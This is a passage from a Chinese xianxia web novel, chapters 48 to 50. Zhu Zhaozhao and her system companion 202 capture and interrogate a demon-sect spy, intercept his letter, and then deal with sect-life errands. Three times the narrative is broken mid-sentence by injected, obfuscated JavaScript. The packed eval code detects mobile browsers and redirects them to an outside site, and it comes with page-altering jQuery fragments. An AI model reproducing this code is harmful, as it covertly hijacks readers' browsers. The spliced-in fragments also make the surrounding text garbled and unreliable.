看着石桌上造型平平无奇的香炉,祝昭昭嘴角弯起丝意味不明的弧度:“熏香是能化解掩盖所有气息的蔽雨,外面是效用不输蔽雨的月清花丛。可空间主人千算万算却没算到——” “香炉上出了岔子。” “为了防止被人发现问题,所以特意用阵法维护香炉,使其不至于被损坏。却没想到正是因为阵法的保护,香炉长期接触两种迥异的力量,必定是会产生变化的。” 指尖虚抚过桌上泛着淡淡黑色的器皿,祝昭昭笑:“不过从某种角度来说,还多亏空间主人心思细密,对这香炉多重防护。” “要是没有灵力和魔气两种力量的长期对抗,乍看之下还真不一定能发现问题。” 鬼鬼祟祟的目光从祝昭昭脸上的笑意收回,202球身打冷战。 什么人啊,那点颜色改变有毛毛雨大吗? 这都能发现。 怎么不去做侦探啊? 202腹诽着,突然意识到什么。 所以它有时候偷偷摸摸做的那些偷懒小动作,它的这位主人是真不知道吗? 202:陷入沉思。 说着收回手,祝昭昭刚想再继续走动,试图找找有没有别的有用信息,下一秒,整个人却突然闪电般扭头望向入口处。 继而冷声:“202,立刻关闭照明模式。” “有人正往这边来。” 48. 你吼辣么大声干嘛 几乎是祝昭昭话音落下的瞬间,空间便陷入一片黑暗。 猫进202指出的,最适合躲藏的角落,祝昭昭无声地给它比了个大拇指。 一脸臭屁的接受夸奖后,202回到祝昭昭精神空间。 入口也在同时刻开启。 光亮自裂缝里透进空间,一个瘦长黑影赫然出现在光亮中央。 裂缝很快合拢,空间重归黑暗。 可等到脚步声响起,光亮却依旧没有出现。 来者竟然直接摸黑行动。 看熟练度这应该是常事,很可能是为了不让人见到脸故意为之。 却没想到弄巧成拙留下破绽。 意识到这点,祝昭昭极轻地眨眨眼。 外面的脚步声在她思忖时停了下来,祝昭昭很快明白来者现在应该在石桌附近。 也许是摸黑的原因,又或者是祝昭昭刚才没动过任何物品的行为起了作用。脚步声在原地摩挲了一会儿,空气里响起纸张翻动的声音。 紧接着,是纸张在石桌上摩擦的响动。 响动停止,来者调转步伐时鞋子和地面碎石摩擦的声音出现。 他应该是要离开了。 耳边传来有节奏的脚步声,角落里的祝昭昭悄悄松了口气。 却就在这时,空气倏然安静下来。 脚步声消失。 祝昭昭一颗心瞬间高悬而起。 快速复盘并确认自己全程没有引起任何可能会让人注意的响动后,她缓缓屏息保持镇定。 果然,在令人心焦的数秒过去后,脚步声重新响起。 这次,没有停顿。 光亮再次出现又消失。有了前车之鉴,祝昭昭这次特意等了好一会儿才出来。 从空间袋摸出一颗较小的夜明珠,她缓缓将之移到桌面。 上面多了一个信封。 淡黄色的信封上只落了个‘启’字。 且因为间隔时间短,熏香还没能开始发挥作用,导致属于魔族的气息不加掩饰地,从信封上发散而出。 祝昭昭并不意外。 无视202在耳边不断催促打开信封的吵闹声,她久久盯着信封不语。 直到最后,她才仿佛做了什么决定般,将之拿起并打开。 可与想象中不同,白色的信纸上,只写了一句不知所云的问候。 202都看懵了:“什么东西,费劲巴拉混进来,送的信里就写了一句问候?” “魔族的人脑子是不是有什么问题啊?” 祝昭昭闻言抿唇。 魔族的人脑子有问题? 没有回答202,她长出一口气,作势将信收起来。 “诶,主人你怎么把信自己收着了,那不是魔族的人留给空间主人的东西吗?” 被祝昭昭突如其来的操作惊到,202不解:“你就这么拿走了,岂不是明晃晃告诉两边这个空间有第三人来过……” 祝昭昭已经把信收好。 看着浑身上下写满反常的祝昭昭,202虽然不知道她这么做的原因是什么,但却很敏感地注意到她收起信时,气场突然从紧绷变得有点…… 放任自流的意思? 意识到这点的202刚想问祝昭昭怎么了,她已经先一步开口:“走吧。” “没必要待在这了。” 祝昭昭边说,边动作熟练地用灵力开启空间。 速度之快,202只来得及在她身后嚷嚷让她等等自己。 随着视野重新变得明亮,祝昭昭人已经出现在月清花丛前。 她原本平静的神情也在瞬间悄然变得慌张。 如同一个误入空间的普通弟子般急切地左顾右盼片刻后,祝昭昭慌不择路地准备跑走。 起步时她甚至因为太过紧张而拌了一下。 202被她这突如其来却无比真情实感的转变吓呆,只敢静静在边上看着。 但很快它就静不下来了。 因为就在祝昭昭露出后背的刹那,一道灵力直直朝着她袭去。 灵力速度之快,202甚至只来得及发出一声短促惊叫,灵力就已经来到祝昭昭三寸范围。 继而箭一般洞穿祝昭昭胸口。 预料之中的鲜血却没有喷溅而出。 不仅如此,仿佛雾气被打散般,祝昭昭身影竟然渐渐透明至消失。 下一秒,她鬼魅般闪现在一颗巨大古树后。 在祝昭昭之前就已经离开的魔族来者,此刻赫然正站在那。 根本想不到上一刻还在慌不择路逃跑的人,下一刻竟然无比精准地锁定了自己的方位,身后尖锐到冰冷的杀意让许肃怵然一惊,下意识就是回身一掌。 却落了空。 藤蔓状的灵力闪电般从他视线死角激/射而出,瞬间缠绕上他脖颈,强烈的窒息感让许肃一张脸猛地憋得通红。 双手拼命去扒脖颈上缠绕灵力的同时重重一跺脚,数道灵力从许肃脚下破土而出刺向祝昭昭。 见状立刻撤回灵力并弹身拉开距离,祝昭昭堪堪站定的时候,许肃也举剑来到她面前。 202焦急的声音一同在她脑海响起—— “主人小心啊,这家伙是元婴初期!” 元婴初期? 原来还是个硬茬。 尽管如此腹诽,祝昭昭望着眼前人的目光却依旧平静。 平静到许肃都隐隐感觉不对。 但深知这一击祝昭昭无论如何都不可能躲开,许肃压住内心泛起的不安,高举的剑全力劈下—— 继而直接撞上一层结界。 祝昭昭的手,也在这瞬间以快到不可思议的速度穿过结界,捏住力量被震散消失的剑。 很巧,她刚好喜欢硬茬。 骤缩的眼瞳里闪动着点点被挑起的意兴,祝昭昭身后灵力猛地卷起长剑甩进结界中切断许肃和它的连接,接着她化掌为拳,正中许肃鼻子。 飞溅的鲜血自祝昭昭眼尾掠过,为她身周亮起的四根细长灵力针染上血色。 欺身上前揪住许肃衣领将他放倒在地,灵力针在他倒地的刹那钉住他四肢,自地底冒出的灵力也再次锁住他脖颈—— 至此,战斗落下帷幕。 低垂的眉眼看着半死不活躺在地上鼻血横流的许肃,祝昭昭语调平直:“既然是偷偷来的剑宗,就要知道偷偷行动。” “打出这么大动静,你不觉得有点不合适?” 202都听麻了。 它本来想问搞出大动静的到底是谁,可仔细回忆了一下,却发现祝昭昭说得的确没有问题。 她出手确实非常克制。甚至因为太过克制,202越是回忆,越是感受到一丝毛骨悚然。 那些招数,没一个是多余的。 每一招,目的都是为了控制许肃,让他失去行动能力。 而就是这样精简的招数,她都没有使出多少…… 偷偷瞧了眼正在整理衣袍的祝昭昭又怕她发现,202急急忙忙移开视线,内心慌得一批。 看来主人只拿它当沙包还是对它手下留情了。 202:瑟瑟发抖。 懒得搭理边上演独角戏的202,祝昭昭抖完袍子下摆的灰,慢吞吞在许肃身旁蹲下。 “你叫什么名字?” 一副恨不得生啖祝昭昭的表情,许肃不吭声。 “不说?”毫不意外这反应,祝昭昭随手从边上捡起一根树枝,“那我换个问题。” “你身上穿的这身剑宗弟子服,是哪来的。”她垂眸,手里树枝玩闹般地在许肃脸上轻轻乱戳,“宗里谁洗澡被你钻了空子,偷的?” 呼吸都被这句话震撼地乱了一瞬,许肃恶狠狠地瞪着祝昭昭。 哪来的缺心眼?! 被瞪得有点不爽,祝昭昭戳许肃脸的动作用了些力气:“瞪什么瞪,身为魔族细作,你混进剑宗本就是大逆不道,在此之上还偷了剑宗弟子服穿,那更是错上加错。” “问你两句你还臭着脸,你好意思吗?” 手不停,祝昭昭面无表情:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280531|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以你到底是不是偷的衣服?” 沉默。 “不说是吧。”祝昭昭也不高兴了,“既然这样,那我看从你嘴里应该也问不出什么有用的东西了。” 许肃冷哼一声侧头,本想表现自己不屈拷问的傲骨。 却没想到因为这一动,祝昭昭手里树枝直接戳进了他嘴里,鲜亮的大牙花顿时暴露在空气中。 场面一度变得很诡异。 但祝昭昭不尴尬,尴尬的另有其人。 躺在地上的许肃灵魂已经陷入虚无,祝昭昭却跟没事人似的:“一会儿我直接把你绑十字架上拉去宗门游吧。” ? 听到这的202终于绷不住了。 它用惊恐的神情和磕磕巴巴的语言系统完美地表达了它此刻的震撼。 谁能告诉它现在到底是怎么个展开?? 把魔族细作抓去游街示众?? 这真的不会让剧情崩坏吗?? 它的主人呢?它那么大一个,精神正常的,排名高位的主人呢?? 现在这个拿着树枝像熊孩子一样在人脸上乱戳,还不经大脑,要把问题对象拉去游街的到底是谁啊!! 它要通知主系统,它要上报异常!! 202:尖叫,扭曲爬行·jpg 像是真的觉得自己想到了好点子,祝昭昭越说越兴奋:“魔族细作被我一个小弟子抓到,这是多厉害的事。把你绑起来,脖子上再挂个牌子,往宗里广场中央一竖,长老们得怎么夸我,其他弟子得多羡慕我。” “从今往后就是擂台下注,我的点都得比其他人高一截。” 眼前似乎已经浮现出之后顺风顺水的快乐人生,祝昭昭手里动作无意识加快,树枝落点渐渐失控,好几次差点直接戳许肃鼻孔里。 鼻孔再一次狼狈地与树枝擦肩而过的时候,许肃终于崩溃了。 额角青筋暴起,他大吼:“你能不能看着点!!” “你吼那么大声干什么。” 祝昭昭死鱼眼盯着地上许肃:“你现在像个鼓嘴巴的□□。” □□! 她竟然说自己像□□! 死死咬紧牙瞪着面无表情的少女,活了近百载的许肃第一次被人气到这种程度。 他发誓,一旦脱困,他必要将眼前人挫骨扬灰! 祝昭昭当做没看见许肃那要吃人的表情:“留点气等一会儿我把你挂十字架上再生,你丢人的时候还在后面。” 缠绕在许肃脖颈的灵力在此刻滑动起来,他第一时间想将之挣脱,却发现自己根本动不了。 钉在他四肢处的四根灵力针闪耀,在日头下流动着莹润的光泽。 眼睁睁看着祝昭昭手指一勾招来两根粗大树枝,许肃试图吓唬她:“我警告你,你不能这么做,否则他绝对不会放过你的。” “什么你我他。” 祝昭昭慢悠悠地把树枝摆成十字形状:“胡言乱语。你就继续垂死挣扎吧,我要准备接受大家的夸赞嘉奖了。” 手里戳人用的树枝在无人注意的时候极速掠过一道光,祝昭昭缓缓踱步到许肃跟前,居高临下地盯着他。 “准备好了?” 弯下腰,祝昭昭作势要拉他衣领。 许肃哪里肯就范,当即使出吃奶的劲和祝昭昭对抗。 祝昭昭也不惯着他,直接一把拉起他后脖领把他拖到树枝旁。 被扔到树枝上的时候,许肃彻底慌了:“黄毛小儿,你想好了!” “届时我一旦脱困,你必将被我碎尸万段!” 祝昭昭的回答,是用灵力捆住他四肢。 许肃拼命反抗。 静静看着他挣扎片刻,祝昭昭突然出声:“你真不想出去游街?” 许肃抽出空怒斥:“你想去没人拦你!” “好吧。”祝昭昭叹气,“那不去也可以,但作为交换——” 许肃闻言抬头,祝昭昭手里树枝也在那刻点上他眉心。 “你需要为我提供有价值的信息。” 49. 把你月书姐报上四部门备选名单去 道道灵力流随着祝昭昭动作在树枝下极速流转,随着一个小巧的白色印记在许肃额间亮起又熄灭,他原本又惊又怒的双眼很快失去神采。 祝昭昭垂眸,平静地看着许肃原本紧绷的身体彻底松弛下去。 盯着他麻木失焦的瞳孔,祝昭昭收起树枝:“名字。” 许肃开口:“许肃。” 目睹全程的202:……?? 什么情况? 对话还在继续—— “什么身份。” “魔宫信使。” “作用。” “负责替魔宫收集各大宗门传递的消息。” 听到这的202再也淡定不能。 就这么说出来了?? 刚才不是还死鸭子嘴硬吗?? 谁能告诉它就这么短短一会儿,事情怎么发生大反转的?? 202本来想直接问祝昭昭。 可刚要开口,祝昭昭往许肃眉心一点的画面突然出现在它眼前。 所以是刚才那一点起的作用? 渐渐意识到什么,202安静下来看祝昭昭盘问。 还在琢磨许肃最后那句话,祝昭昭若有所思:“和你一样作用的人,魔宫派出了多少。” “我不知道。” 许肃目光空洞:“魔宫信使虽然作用相同,但为了避免被抓时牵扯太多,我们之间并不清楚其他信使太多信息。” 祝昭昭‘唔’了一声:“那长相?” 许肃摇头:“也不知。” 也不知啊。 祝昭昭沉吟。 保密工作做得倒是不错。 但要说隶属同一部门,成员之间互相一点信息都不知道并不符合逻辑,他们应该有独特的联系方法。 什么方法呢…… 祝昭昭想了想,决定换个提问方式:“若是有需要,你们用什么方式认出彼此或传递消息?” “魔息。” 许肃道:“经由魔息加密的消息,一定范围内只要是魔宫的人,都会感知到消息存在。再用魔宫独特的解法解开,便可读取信息。” “告诉我。”祝昭昭几乎是立刻,“告诉我魔息的特征以及解开魔息的方法。” 许肃快速念出一段口诀。 念完后,他道:“念出此口诀的同时,即可直接感知并解开消息。” 祝昭昭沉默。 拜托,念那么快鬼听得清啊。 不过…… 很快想到某些问题,祝昭昭思忖片刻后,叫来202。 她指着两眼发直的许肃:“去他嘴巴边上,开启高清录音模式。” 虽然不知道祝昭昭想干什么,但202还是很听话地过去了。 见202停在许肃边上,祝昭昭对着许肃再道:“把刚才那段口诀重新念一遍。” 许肃照做。 他话音落下,祝昭昭看向202:“录完了吗?放出来听一遍。” 随着202播放录音,确认口诀清晰度没问题的祝昭昭示意它走开。 老老实实飘到祝昭昭边上,202本来以为这就结束了。 却没想祝昭昭盯了许肃半晌后,冷不丁出声:“把你原本要放在空间的信拿出来。” 202:??? 等等,所以刚才石桌上那封信是假的? 不可能吧,这男的进空间之前又不知道有第三人在,怎么会随身带一个假信封。 那不是没事找事吗? 下一秒,202眼睁睁看着右手恢复行动力的许肃从空间袋里摸出一个信封交到祝昭昭手上。 202:“……” 行,行吧。 得到信封,祝昭昭反手将之塞进空间袋后,再次嘱咐202:“把他关于这封信的记忆全部清洗掉。” 202‘哦’了一声:“要不要顺便把他送出剑宗?” “不用。” 祝昭昭解开许肃身上所有禁制:“把他扔那个空间里。” 202:“那主人你来?” 祝昭昭拒绝:“我动手可能会留下痕迹,你来。” 飞快答应下来,202清洗完记忆,又将许肃整个人清理干净,最后把他传送进空间中。 祝昭昭朝它竖大拇指:“还知道把人整理干净,让他找不到可怀疑的点。” “那当然。”被夸奖的202非常高兴,“毁尸灭迹我可是专业的。” 祝昭昭:…… 好小子。 * 练完新招数回到小屋时,已经是傍晚。 施完净身诀,祝昭昭拖着一身疲惫自由落体式砸进床铺。 然后不多时,门口便响起敲门声和白月书满含关切的问候—— “昭昭,怎么了?我在隔壁突然听见好响一声。” 被窝里的祝昭昭抬起头。 好吧,看来再累也要控制下。 至少要开个结界再开始发疯。 “月书师姐,我没事。” 捏着眉心,祝昭昭边答应,边爬下床往门口方向走。 随着‘吱呀’一声响,祝昭昭和门外的白月书大眼瞪小眼。 最后是白月书先开口:“昭昭,你在房间里做什么弄出那么大动静?” 她边说,边往祝昭昭旁边歪头。 祝昭昭一见这架势就暗骂坏菜。 因为白月书非常喜欢和她说话。 非常,非常喜欢。 或者换种说法,白月书喜欢和她说话是真的,但实际上最主要是因为喜欢和她待在一起。 所以她们待在一起的时候,就会有的没的闲扯很多。 祝昭昭倒不是不喜欢。 而是白月书一旦闲扯,那就是天南海北无所不谈,有时候聊高兴了,还会直接在她这里睡下。 偶尔这样祝昭昭当然欢迎,可次数多了…… 她招架不住啊! 本来就是为了更多的独处时间才选择角落房间,白月书没事就来找她,那她四舍五入岂不等于白选? 白月书来得最勤的时候,祝昭昭白天碰见她时,脑子里会不受控制地一会儿冒出她晚上安静的睡脸,一会儿冒出她面对外人时的清冷高洁—— 祝昭昭:可能还没醒,再睡睡。 狠狠眨眼回神,祝昭昭不动声色地往白月书歪头的方向侧身。 在门口聊两句得了。 思忖着,她眉眼弯弯望着白月书:“月书师姐最近战况如何?” “我运气不错,近来一直连胜。”白月书果然直起身。 祝昭昭:好,上钩了·jpg 她笑得更灿烂:“秦师兄呢?” “他情况与我大致相同。”白月书说着,忽然轻叹一声,“只是最近一场他遇上强敌,受了不轻的伤。” 祝昭昭意外:“谁那么厉害能伤得了秦师兄?” 这可是位面男主,能揍男主的,高低是个狠角色。 可剧情里有这号人吗? 祝昭昭正出神,很快听白月书道:“是一位元婴中期师兄,姓褚。” 哦,元婴中期啊。 那勉强算正常,毕竟胜负具有随机性,秦之衡元婴初期,输了也正常。 祝昭昭了然。 然后就听白月书再道:“之衡与我一起修炼,我俩水平相差无几,他对上褚师兄怎么会受伤呢?” “那位师兄与我对上的时候,明明是我大胜而归的啊……” 白月书看起来真的很苦恼。 祝昭昭:“……” 202:“……” 大胜而归。 好霸气的用词。 “202。”祝昭昭平静地在脑内召唤,“我记得四部门最近好像缺人。” 202:“对,但主人,那又怎么了?” “我建议你提前和主系统报备一下她的名字。” 祝昭昭死鱼眼盯着面前懵懂的白月书:“四部门负责龙傲天升级流位面,应该很需要她这样的维护员。” “如果她同意的话。” 202本来想说点什么。 但它考量片刻后,竟然一脸‘这事可行’地‘哦’了一声:“那我知道了。” 祝昭昭点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280532|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最后想起什么,补充:“邀请成功了记得通知我,我要让主系统给我计KPI。” 202:…… 这发展果然还是很奇怪。 视线重新聚焦,祝昭昭也变得愁眉苦脸起来。 她从空间袋取出一瓶疗伤丹药:“不论结果好坏,既然秦师兄受伤,那就定要好好疗伤。” 将瓷瓶交到白月书瘦手上,祝昭昭情真意切:“这是师父送我的疗伤药,月书师姐你帮我交给秦师兄,算是我的一点心意。” “今日时间不早,我明日再去看他。” 说完不容白月书拒绝,祝昭昭搂着她肩膀把她转个身后向她挥手道别:“月书师姐也快去看看秦师兄吧。” 怀里抱着瓶丹药,白月书就这么一脸懵地离开。 祝昭昭重回床铺。 却也没了休息的心思。 “主人。”202飘到祝昭昭上方和她脸贴脸,“我刚才检测到你体内灵力含量暴涨。” “怎样。”祝昭昭不耐烦翻身。 “你吸收了那个空间里的灵力。”202指出,“而且吸收了很多。” 祝昭昭一脸‘这事有什么好说’的表情:“那地方的灵力浓到凝成实体,我吸收再多也不会有什么变化,那我吸收一点怎么了?” “我不仅在那里的时候吸收了,”祝昭昭张开手,“我还凝了五六颗灵力晶石出来,准备这两天慢慢吸收。” “有什么问题?” 盯着祝昭昭掌心里一颗颗剔透晶石,202沉默了。 下一秒,他球身里的机械手伸到祝昭昭面前。 里面是一把同样剔透的晶石。 且因为202的提纯工艺,那些晶石比祝昭昭手里的更加明亮璀璨。202拿到她眼前的时候,差点把她眼睛闪瞎。 “好小子。” 祝昭昭直接坐起来,一把将晶石进手里:“你这技术比我高多了。” “一颗抵主人你修炼半个月哦。”202得意洋洋,“我的观测结果评估出来的。” 捻起一颗对着空气仔细欣赏,祝昭昭对202竖大拇指:“要不是有被发现的风险,我高低抽空带你去进货。” “我还是很有用的好吧。” 202哼哼两声,飞到祝昭昭身旁:“主人,其实除了这事,我还想问你是不是马上要进阶了。” “嗯。”祝昭昭把晶石珍重放进单独的荷包里,最后才收进空间袋,“如果顺利的话,我这两天就可以到金丹中期。” “所以主人你一个金丹初期怎么控制住元婴期的许肃啊?” 202震撼:“那根树枝上施了什么魔法吗??” “还魔法。”祝昭昭嗤笑,“202,你下次可以选个西方魔法背景位面去体验体验。” “我跟你说正经的!”202用力撞了祝昭昭一下。 “树枝被我动了手脚是不假。” 被撞得一个趔趄,祝昭昭痛得揉肩膀:“但最重要的,是我抓住了他心神不稳的瞬间。” “配合预知之眼,最后来个高阶控制法术。”祝昭昭食指轻快绕个圈,“齐活儿。” 202恍然大悟:“所以主人你之前是故意激怒他的!” “没错。”祝昭昭拍拍202脑袋,“不然谁有空跟他浪费半天时间,早把他打一顿再审问完事。” 还谁有空浪费时间。 202侧目。 把人家牙花子戳出来的时候都快憋不住笑了好吗。 看着祝昭昭满脸嫌弃的样子,知道说实话绝对会被打的202最终选择沉默。 “对了。”两手重重一拍膝盖,祝昭昭长出口气,“突然想起来还收了一封信,闲着也是闲着,那就现在看看好了。” 收什么收啊,那信明明是你截胡别人的! 202:心累。 完全不在意边上202的心理波动,祝昭昭催动碧玉戒指撑起结界,从空间袋摸出那封信缓缓将之打开。 泛黄的信纸上只写了两句话—— ‘天元三九,十月初七。’ ‘洛水镇。’ 50. 小当一把宗门判官~ 自身后飞闪而出的灵力抽走对面青年的剑,灵华直指其胸口,祝昭昭淡声:“承让。” 摇摇头,青年微笑着退开两步,召回佩剑后朝祝昭昭行了一礼。 收起灵华,祝昭昭亦回以一礼。 在裁判宣布胜利的声音中,她足尖轻点落下擂台。 “祝昭昭。” 不远处坐在事务台后的师姐示意她过来:“来。” 祝昭昭朝事务台走去。 几步停在桌子前,祝昭昭问:“什么事,师姐?” “去抽签,”师姐将祝昭昭的木牌还给她,“行知堂,你应该知道在哪吧。” “知道。”祝昭昭点头。 “知道就行。”重新把注意力放在桌上册子,师姐毫无感情地棒读,“到了把木牌交给那边穿白衣服的,他会……” 祝昭昭很难形容现在的心情。 不是等等,师姐你是不是忘了剑宗弟子服都是白的? 她要怎么在一屋子白衣服里精准挑出收木牌的? 是让她从门口开始薅人就问吗? 祝昭昭:开始思考到行知堂是要挨个问,还是站在大门口喊一嗓子问。 好在师姐很快意识到什么。 轻咳两声,她装作若无其事:“……到了行知堂,拿出木牌就会有人告诉你怎么做。” “好,知道了。”将木牌收回腰间,祝昭昭对师姐行了一礼后离开擂台。 * 这次抽签抽的是决赛对手。 宗门大比已经差不多接近尾声,因为慕行秋赛前教的那套剑法,内门新生班战况斐然。 连带着原本的剧情都出现了偏差。 刑煜凭借那套剑法,一路顺风顺水地赢到了决赛,中间没有搞过一次小动作。 祝昭昭第一次对自己的预知结果感到不爽。 周围风景飞快后掠,盘膝坐在灵华上,她托着腮,目光有些出神。 不知道刑煜的抽签结果是什么。 祝昭昭思忖着的当口,座下灵华如同感应到她的心意般,顿时如离弦之箭般飞向行知堂。 * 到达行知堂的时候里面人还很多。祝昭昭降下灵华的时候,差点和一个迎面而来的弟子撞上。 两个人互相很有默契地道歉完,祝昭昭走进行知堂。 事务台师姐的担心显然是多余的。 因为祝昭昭一进门,堂上的师姐就光速注意到了她。 人来人往中被那双目光如隼的眼睛直勾勾盯住的时候,祝昭昭一度以为自己不是来抽签的。 是犯了事被抓来受罚的。 目光在手中册子和祝昭昭之间飞快梭巡了一遍,师姐问:“祝昭昭,对不对。” 祝昭昭老实点头:“是,师姐。” “游月。”师姐‘嗯’了声,“叫我游师姐就好。” “游师姐。”祝昭昭从善如流。 闻言微一颔首,游月示意祝昭昭跟自己来:“你来得倒是快。” 快? 祝昭昭没想过这词会在这时候出现在自己身上:“抽签不是所有人到齐了才开始抽的吗。” 这本来是很正常的一句问话。 却没想游月意味不明地呵笑一声:“到齐?” “太阳从西边升起那天吧。” 祝昭昭不解:“什么?” “没什么。” 停下脚步的游月拍拍身旁大大的木箱:“乾坤一组,坎离一组,最后是一根空签。” “抽吧。” 祝昭昭伸手进箱中:“里面现在是几根签?” 游月言简意赅:“五根。” 祝昭昭:“……” 叹为观止。 要知道她这场比试可是决赛前最后一场,在那之前竟然没有一个人来抽签,这还是宗门大比的抽签—— 剑宗弟子守规矩与否完全是随机的吗? 摇大转盘决定那种? 祝昭昭:在受罚边缘不断试探·jpg 很快摸到一根木制的细签,祝昭昭将手抽出木箱。 游月凑过来看了一眼:“乾卦啊。” “第一抽乾卦,该说不说还是挺有缘分,”在册子上记录下祝昭昭的签后,游月朝她摆摆手,“回去吧,之后行知堂会传信告诉你匹配结果的。” 祝昭昭应声离开。 刚从堂上下来就看见云珈风风火火地冲进来,祝昭昭正准备和她打招呼,她已经往这边看过来。 云珈快乐摆手:“昭昭!” 祝昭昭也笑着应声。 想拉着祝昭昭一起抽签被婉拒,云珈无不可惜:“我其实本来昨天就该过来抽签的,但是修炼耽误了只好今天过来。刚才看到你,还想和你一起抽看能不能一组呢。” “不过既然你已经抽了就算啦。”云珈朝祝昭昭眨眼,“让我试试能不能抽到空签。” 祝昭昭捏捏她脸:“好。” 两人交错而行。 直到将要走出行知堂的时候,祝昭昭听见云珈大咧咧的抱怨声传来—— “啊,是离卦!怎么不是空签啊。” 离卦啊。 身后云珈的哀嚎声还在继续,听得想笑的祝昭昭抿了抿唇,很快离开。 * 回程依旧是驭剑。 灵华慢悠悠飞行,祝昭昭两眼放空地看着路过的其他弟子。 突然出声的202打断她发呆:“主人。” 眼皮都不抬的祝昭昭:“说。” “主人你准备什么时候去盯一下刑煜?”202老生常谈,“大比决赛的话就代表这段剧情即将到尾声了吧,这会儿不盯他更待何时?” “你说的有道理但是202。”路过树林的祝昭昭随手从边上揪了片叶子,“在只剩决赛且不确定刑煜会不会使小手段的前提下,你不觉得有一件事比我去看他更重要吗?” 202半懂不懂:“比预知他未来更重要的事?” “上周目慕行秋明确抓到刑煜搞小动作的时候,罪名最后为什么不成立?”祝昭昭托腮,“哪个环节出了问题。” “哪个环节,”202很努力地回忆了下,“好像是刑煜那场比试的监视异常灵力法器出了问题,里面的记录被消除……” 空气安静下来。 许久,祝昭昭才终于开口:“所以我说我们现在去一趟掌刑司,有没有问题。” 202几乎是立刻:“没问题。” 灵华骤然加速,朝着掌刑司出发。 * 有了行知堂的经验,这次的降落地点,祝昭昭特意选在离掌刑司大门稍远的地方。 然后刚降落,眼尾余光就瞄见角落里有什么东西在狂乱地扭动。 祝昭昭吓一跳,扭头,发现那是个人。 是位师姐。 满脸恨不得立刻创亖全世界的表情,师姐边乱砍,嘴里边念念有词。而她的左臂部分,有东西正随着动作,在日头下反射光亮。 那是掌刑司弟子才能佩戴的臂章。 瞳孔地震的祝昭昭:这是在干什么·jpg 祝昭昭眼睁睁看着那名师姐在短短数分钟内至少挥了近百次剑后终于停下来,脸上也紧随着露出舒爽的笑容。 师姐收剑转身,和呆在原地的祝昭昭对上眼。 她笑容满面地和祝昭昭打招呼:“昭昭师妹好,昭昭师妹是有什么事要找掌刑司帮忙吗?” 问话时态度之随和自然,仿佛刚才那个疯狂乱砍的人根本不是她。 祝昭昭眨眨眼。 自己有见过这个师姐吗? 她迟疑:“我是来……” “没事。”师姐大手一挥,“有没有事都不重要,因为你很快就有事了。” 祝昭昭:?? 什么事? 我能有什么事?? 祝昭昭很快就知道自己有什么事了。 被师姐搂着肩膀往掌刑司走,刚到门口,祝昭昭就收到许多许多人的招呼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280533|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有从堆积如山的书册里抬起头,露出又黑又圆的黑眼圈的师姐们—— “昭昭师妹好,昭昭师妹怎么过来了,是来找慕师兄的吗?” 有边对着传讯符骂骂咧咧边探出头看过来的,身上到处是青紫伤口的师兄们—— “昭昭师妹好,慕师兄今天有事暂时不在,在掌刑司找他要过两天。” 但两拨人和颜悦色地说来说去,愣是没有一个让她走的。 一群人百忙之中抽出空来亲切招呼祝昭昭,再由门口遇上的师姐带着,最后把她带到了一张桌子前。 看着桌上厚厚的书册表单,祝昭昭愣:“这是……” “这是一点小活。”门口师姐,也就是柳忻拍拍表单,笑得更加和善,“这些都是已经处理好事务,只差在单子上盖章就好。” “当然,里面可能会有一些漏处理或者待处理的内容,昭昭师妹你顺便把它们挑出来就好啦!很简单的。” 柳忻一合掌:“昭昭师妹帮下忙好不好。” “帮不帮忙的先不提,”祝昭昭眨眨眼,“主要掌刑司的事务,其他人等可以随意经手吗?” “没关系!”柳忻身旁窜出来另外一个师姐,“昭昭师妹你是慕师兄的师妹,这些事务交给你,我们放心。” 柳忻微笑点头:“没错。月书师妹和之衡师弟平日有空也会过来帮忙,完成得也非常好。” “我们相信昭昭师妹你一定也没问题。” 祝昭昭沉默。 彳亍口巴,原来是这么回事。 那被拉来干活还多亏了是慕行秋的师弟妹咯? 什么打工人连坐。 祝昭昭:更恨了。 抱怨归抱怨,但真要说起来,祝昭昭稍后要找机会做的事,还不一定会不会给掌刑司带来坏的后果。所以头痛之余,她还是抱着一种提前赎罪的心态抓过表单旁的印章。 祝昭昭:但想来想去都是慕行秋的错! 师姐的欢呼声里,她坐下狠狠一磨牙,开始盖章—— ‘两外门弟子因下注分灵石不均导致斗殴一事处理结果:各扫大门一月。’ ‘内门弟子素水因修炼进阶太过兴奋导致剑斩大片林木一事处理结果:打扫灵塔三天。’ ‘一外门弟子于灵兽园喂养灵兽期间,被火明猿投掷粪便,愤而抓火明猿亲手收拾粪便,导致其郁郁三日拒绝进食一事处理结果:禁止该弟子踏入灵兽园一月。’ 怎么越来越抽象了。 